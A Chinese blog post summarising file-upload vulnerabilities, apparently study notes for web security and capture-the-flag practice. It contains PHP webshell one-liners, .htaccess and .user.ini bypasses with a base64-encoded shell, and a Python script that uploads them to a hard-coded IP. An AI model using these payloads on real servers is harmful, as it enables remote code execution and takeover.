文件上传漏洞总结

·
WEB安全基础 no tag November 18, 2020

文件上传

文件检测手法

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验

    • 文件头content-type字段校验(image/gif)(MIME类型)
    • 文件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

绕过

抓包,修改Content-Type: image/jpeg

文件头 : 伪造图片文件头(GIF89a)

黑名单

<?php
// 实际情况中黑名单内数据会更多更全面
$blacklist = array('php', 'asp', 'aspx', 'jsp');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));

if (in_array(strtolower($type), $blacklist)) {
        die("File type errer!<br>");
} else {
        $file = $path . '/' . $_FILES['myfile']['name'];
        if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
                echo 'Success!<br>';
        } else {
                echo 'Error!<br>';
        }
}
?>

黑名单,尝试各种特殊文件名(php、Php、PHP、pht、php5、phtml,shtml,),或者在扩展名后添加空格、::$DATA、.,$,/.,等字符,再或者是尝试上传.htaccess

防御手段

随机文件名+白名单后缀

PHP:
php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf

.htaccess

AddType application/x-httpd-php .wuwu

把.wuwu当作php解析

::$DATA(windows)

上传文件为xxx.php::$DATA类型的文件。可以看到上传的文件为xxx.php::$data。

https://www.freebuf.com/column/143101.html

内容检测

  • 几种标签语法

    <??>
    <?php
    <?=?>
    <%
    <script lanague='php'>

短标签

两种短标签必须在php5.4.0之后

其中短标签<? ?> 需要在php.ini中开启配置short_open_tag才能使用

<?= 等价于 <? echo 不用开启短标签

<?= `whoami`?>
<?= `ls`?>
7.0.0   The ASP tags <%, %>, <%=, and the script tag <script language="php"> are removed from PHP.
5.4.0   The tag <?= is always available regardless of the short_open_tag ini setting.

其中ASP标签<% %>需要将asp_tags设成On

通过php小于7.0的可以通过<script lanague='php'> 绕过

<script language="php">
  phpinfo();
</script>
  • 利用.htaccess 附加base64 绕过
  • 利用.user.ini 附加base64 绕过

.htaccess

//.htaccess
AddType application/x-httpd-php .jpg

上传.htaccess 把jpg当作php解析,只需要上传带shell的.jpg文件即可

//shell.jpg
<script language="php">
  eval($_POST["x"]);
</script>

关键字匹配

  • \+换行绕过
  • 上传内容如下,绕过php关键字的过滤

    AddType application/x-httpd-p \
    hp .wuwu
  • 图片伪造

    • 构造图片和长度
   htaccess = b"""\x00\x00\x8a\x39\x8a\x39
   AddType application/x-httpd-php .wuwu
  php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
   """
   
   shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
 \x00\x00\x8a\x39\x8a\x39 是构造的图片头,
 php_value auto_append_file  会给php文件附加后面的内容
 将 shell的内容上传至shell.wuwu
 htaccess 上传至.htaccess
 
 
 然后访问shell.wuwu既可
 
    • 参考脚本

      import requests
      import base64
      
      url = "http://35.246.234.136/?"
      
      header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"}
      
      htaccess = b"""\x00\x00\x8a\x39\x8a\x39
      AddType application/x-httpd-php .wuwu
      php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.wuwu"
      """
      
      shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
      
      files = [('image',('.htaccess',htaccess,'application/octet-stream'))]
      
      data = {"upload":"Submit"}
      
      proxies = {"http":"http://127.0.0.1:8080"}
      print("upload .htaccess")
      r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies)
      
      # print(r.text) 
      
      print("upload shell.wuwu")
      
      files = [('image',('shell.wuwu',shell,'application/octet-stream'))]
      r = requests.post(url=url, data=data, files=files,headers=header)
    • 上传cgi脚本

      <code>Options +ExecCGI
      AddHandler cgi-script .xx</code>
    • cgi脚本最好在Linux下编写,保存为3.xx

      #!/bin/bash
      echo "Content-Type: text/plain"
      echo ""
      cat /flag
      exit 0

    cgi参考文档:https://www.freebuf.com/vuls/218495.html

    .user.ini

    .user.ini用于nginx/apache/IIS 中

    \x00\x00\x8a\x39\x8a\x39
    auto_prepend_file = cc.jpg

    白名单

    <?php
    $whitelist = array('png', 'jpg', 'jpeg', 'gif');
    $path = "./uploads";
    $type = array_pop(explode('.', $_FILES['myfile']['name']));
    
    if (!in_array(strtolower($type), $whitelist)) {
            die("File type errer!<br>");
    } else {
            $file = $path . '/' . $_FILES['myfile']['name'];
            if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
                    echo 'Success!<br>';
            } else {
                    echo 'Error!<br>';
            }
    }

    中间解析漏洞

    IIS6.0目录解析(6.0)
    形式:www.xxx.com/xx.asp/xx.jpg
    原理:服务器默认会把.asp .asa目录下的文件都解析成asp文件(如果上传可以修改路径的话可以修改成asp目录下 利用解析漏洞使服务器把jpg文件解析成asp)

    文件解析(6.0)
    形式:www.xxx.com/xx.asp;.jpg
    原理:服务器默认不解析分号后面的内容因此xx.asp;.jpg被解析成asp文件(用于只允许jpg文件上传等等)

    IIS 7.5解析利用方法
    漏洞与PHP配置有关,php.ini中的参数cgi.fix_pathinfo参数配置错误导致解析漏洞,开启了cgi.fix_pathinfo,与IIS本身无关,仅是php开发有关,不支持asp、aps.net等其他语言。
    上传个一句话马儿php.jpg,就是php一句话改名为jpg,然后以下面方式访问:
    http://www.xxxx.com/UploadFiles/p_w_picpath/php.jpg/.php

    APACHE解析漏洞
    Apache解析文件是从右到左开始判断的,如果后缀名识别不了就会往左继续判断,比如1.php.aaa.bbb.ccc aaa bbb ccc这种后缀名都识别不了直到识别成功为php(在低版本存在2.x)

    www.xxx.com/1.php.aa.bb

    其余配置问题导致漏洞
    (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
    (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .png即使扩展名是 jpg,一样能以 php 方式执行。

    nginx解析漏洞
    漏洞形式
    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg%00.php
    www.xxxx.com/UploadFiles/image/1.jpg/%200.php
    xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

    漏洞原理
      Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
    PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

    结合文件包含利用

    先上传1.jpg 再包含文件会当作php解析

    结合phar触发反序列化

    00截断

    经常出现与目录拼接

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    <img src="../upload/a.php /2320190529093028.jpg">

    文件上传基础利用

    • 上传.php 文件,直接gethsell
    • 上传.htccess 文件,配置服务器解析php,bash等进一步操作,如gethsell,泄露源码
    • 上传zip,phar进一步利用
    • 文件名注入
    • PHP弱类型安全
    • 文件包含漏洞总结及PHP伪协议
    取消回复

    说点什么?
    Title
    绕过
    中间解析漏洞

    © 2023 Yang_99的小窝. Using Typecho & Moricolor.